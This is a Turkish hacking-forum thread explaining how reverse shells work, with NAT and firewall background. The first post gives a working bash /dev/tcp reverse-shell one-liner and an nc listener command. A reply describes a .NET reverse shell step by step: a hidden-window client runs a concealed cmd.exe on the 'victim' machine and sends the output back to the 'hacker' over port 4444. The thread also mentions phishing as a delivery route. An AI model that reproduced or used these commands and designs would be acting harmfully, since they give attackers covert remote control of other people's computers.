Reverse Shell Nasıl Çalışır?

Codx

Katılımcı Üye
30 Tem 2017
309
1
Merhabalar, iyi forumlar herkese.

"Reverse Shell Nedir?" sorusunun cevabını çoğumuz biliyoruz. Nasıl çalıştığı konusundan ise fazla bahsedilmez ben bunun merak edip araştırdım ve kısaca konuyu paylaşmak istiyorum. İyi okumalar dilerim.



Normal bir iletişimde iki adet makinenin birisi client birisi server olur. Reverse kısmı ise bu aşamada devreye giriyor. Client serverın bir portuna bağlantı isteği gönderir geri dönüşünde ise client makinenin kullanılmayan bir portundan olur. Boştaki bu porta bağlanır, haberleşme gerçekleşir.

Bir remote shell işleminde istemci sunucudan bir shell açmasını ister, reverse shell olduğu zaman roller değişir sunucu, clientden bir shell açmasını ister.

Reverse Shell genellikle bir N(etwork)A(ddress)T(ranslation) arkasında olan bir sunucuya bağlanmak için kullanılır. (Bu işlem her zaman zarar vermek amaçlı yapılmaz tabi.) Reverse Shell yapmaktaki amaç target sistemde kod çalıştırmaktır(Kaçak yollardan terminale erişmek).

Not: NAT'dan kısaca bahsedecek olursak eğer bizim bir server makinemiz olsun bu server makine bir router/firewall arkasında bulunsun internal network'den external network'e çıkmak istediği zaman router'ı pingleyebilse bile router'dan öteye geçemez. "Request Time Out" alır. NAT yapıldığı zaman içerideki istek dışarı çıkabilir bir istek olarak çevirilir ve sonucunda external network(internet)'te diğer makineler ile konuşabilir duruma gelir. NAT nasıl yapılır, ve ne işe yarar temalı konuma buradan ulaşabilir ve daha detaylı bir şekilde inceleyebilirsiniz.

Reverse Shell her zaman tercih edilmez ama tabi tercih edildiği durumlarda mevcut ne gibi durumlar olduğuna kısaca değinecek olursak, firewall tarafından sadece http portuna bağlanma iznimiz var diyelim ben sunucudan ekstra bir port ile haberleşemiyorum.

Bu benim buradan reverse shell alamayacağım anlamına geliyor. Tabi şunuda unutmamak lazım işin içerisinde bir insan faktörü varsa eğer her zaman bir zafiyet vardır.

Kimi zaman bir Reverse Shell almak sosyal mühendislik yöntemleri ister. Phishing maili ile zararlı bir yazılım enjekte edilerek alınabilir.

Birde firewall makinelerde genellikle sadece gelen trafik kısıtlanır, içeriden dışarı çıkan dikkate alınmaz çünkü zaten hedef herkesin girememesini sağlamaktır.

Reverse Shell'e örnek verecek olursak
Kod:
bash -i >& /dev/tcp/192.168.0.1/8080 0>&1

Bu örnekte target sistem 192.168.0.1 IP li makineye 8080 portundan bağlantı isteği gönderecektir. nc -lvnp 8080 ile portu dinlemeye aldıktan sonra Reverse Shell başarılı olursa hedef sistemde komut çalıştırabileceğimiz bir ortam hazırlamış olacağız.

Daha bir çok farklı şekillerde Reverse Shell örneğini buradan bulabilirsiniz.

Okuduğunuz için teşekkür eder, iyi forumlar dilerim.

 
Son düzenleme:

Mapzilla

Adanmış Üye
23 Eyl 2016
7,205
13
Bu da benden .NET tabanlı reverse shell uygulamaları


Server tarafı, kurban bilgisayardan gelen bilgileri ekrana yazdıracak ve sonsuz döngü içinde sürekli komut isteyip Client tarafına gönderecektir Soket üzerinden.

Client tarafı, kurban bilgisayardan gelen komutları gizli bi' cmd.exe uygulamasına input olarak girdirticek ve gelen çıktıları Server'a, yani Hacker'a yollayacaktır. Bildiğiniz üzere cmd.exe üzerinden bir çok sistem fonksiyonu gerçekleştirilebiliyor.

Server;


JvxODs.png



Ne yaptık? İlk önce TCP ve her IP adresinin bağlanabileceği sadece 4444 portlu bi' Soket oluşturduk. Sonrasında dinlemeye aldık. Daha sonrasında 1 kullanımlık için bağlantı kabul etmek için Socket.BeginAccept kullandık. Bağlantı kabul edildiğinde, Client Soketini Socket.BeginReceive'a yolladık ve o Soket'ten veri almaya başladık. Aldığımız verileri ekrana yazdırdık ve tekrar Socket.BeginReceive ile aynı Soket'ten veri almaya devam ettik. Sonrasında program sonsuz bi' döngüye (!) girdi ve bizden herhangi bi' Command Prompt (cmd) komutu istiyor. Bunu Client'a, yani kurbana yolluyor. Eğer Soket'le bağlantısını keserse 10053 hata kodlu Exception veriyor, bunun MSDN'de anlamı vardır.


Jvx4hH.png



Bkz: https://docs.microsoft.com/en-us/win...-error-codes-2


Client;

JvxD0q.png





Burada ne yaptık? Program Console bi' .NET uygulaması olduğu için ShowWindow API'si ile gizlemek zorunda kaldık. API'yi projeye dahil etmek için P/Invoke kullandık.
0 = Disable
1 = Enable olarak anlamaktadır fonksiyon. Biz 0 ile görünmez hale, yani Disable hale getirdik.

Sonrasında TCP bi' Soket oluşturduk ve Server'a, yani Hacker'a 4444 portundan bağlandık. Daha sonrasında Process class'ı ile cmd.exe'yi başlattık. Process.StartInfo.CreateNoWindow ile ekranın görünmesini engelledik.

Process.StartInfo.RedirectStandardOutput, Process.StartInfo.RedirectStandardInput, Process.StartInfo.RedirectStandardError değişkenlerini true yaptık CLI olan programdan veri alacağımıza dair uyarı bu...

Process.OutputDataReceived için ise delegate oluşturduk, Console'dan gelen veriyi böyle alıcaz. Delegate olan fonksiyonda ise DataReceivedEventArgs.Data'yı, yani Console'daki çıktıyı Server'a, yani Hacker'a yolladık.

Sonrasında da Process.Start ile cmd.exe'yi başlattık ve Process.BeginOutputReadLine ile asenkron çıktı almayı başlattık. Sonrasında da Socket.BeginReceive ile Server'dan, yani Hacker'dan veri almaya başladık ve Soket'i ReceiveHandler fonksiyonuna yönlendirdi. Gelen veriyi Process.StandardInput.WriteLine ile Console'a input olarak yolladık, bu komut çalıştığında CMDHandler fonksiyonu devreye girecek. Sonrasında bi' döngü gibi Socket.BeginReceive ile tekrardan Server'dan, yani Hacker'dan bilgi almaya başladık. Son olarak cmd.exe'nin kapanmaması için Process.WaitForExit kullandık.

Hemen deniyelim;

İlk önce Server programımı başlattım, sonra Client yani zararlı yazılımı başlattım.


JvxwNI.png
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.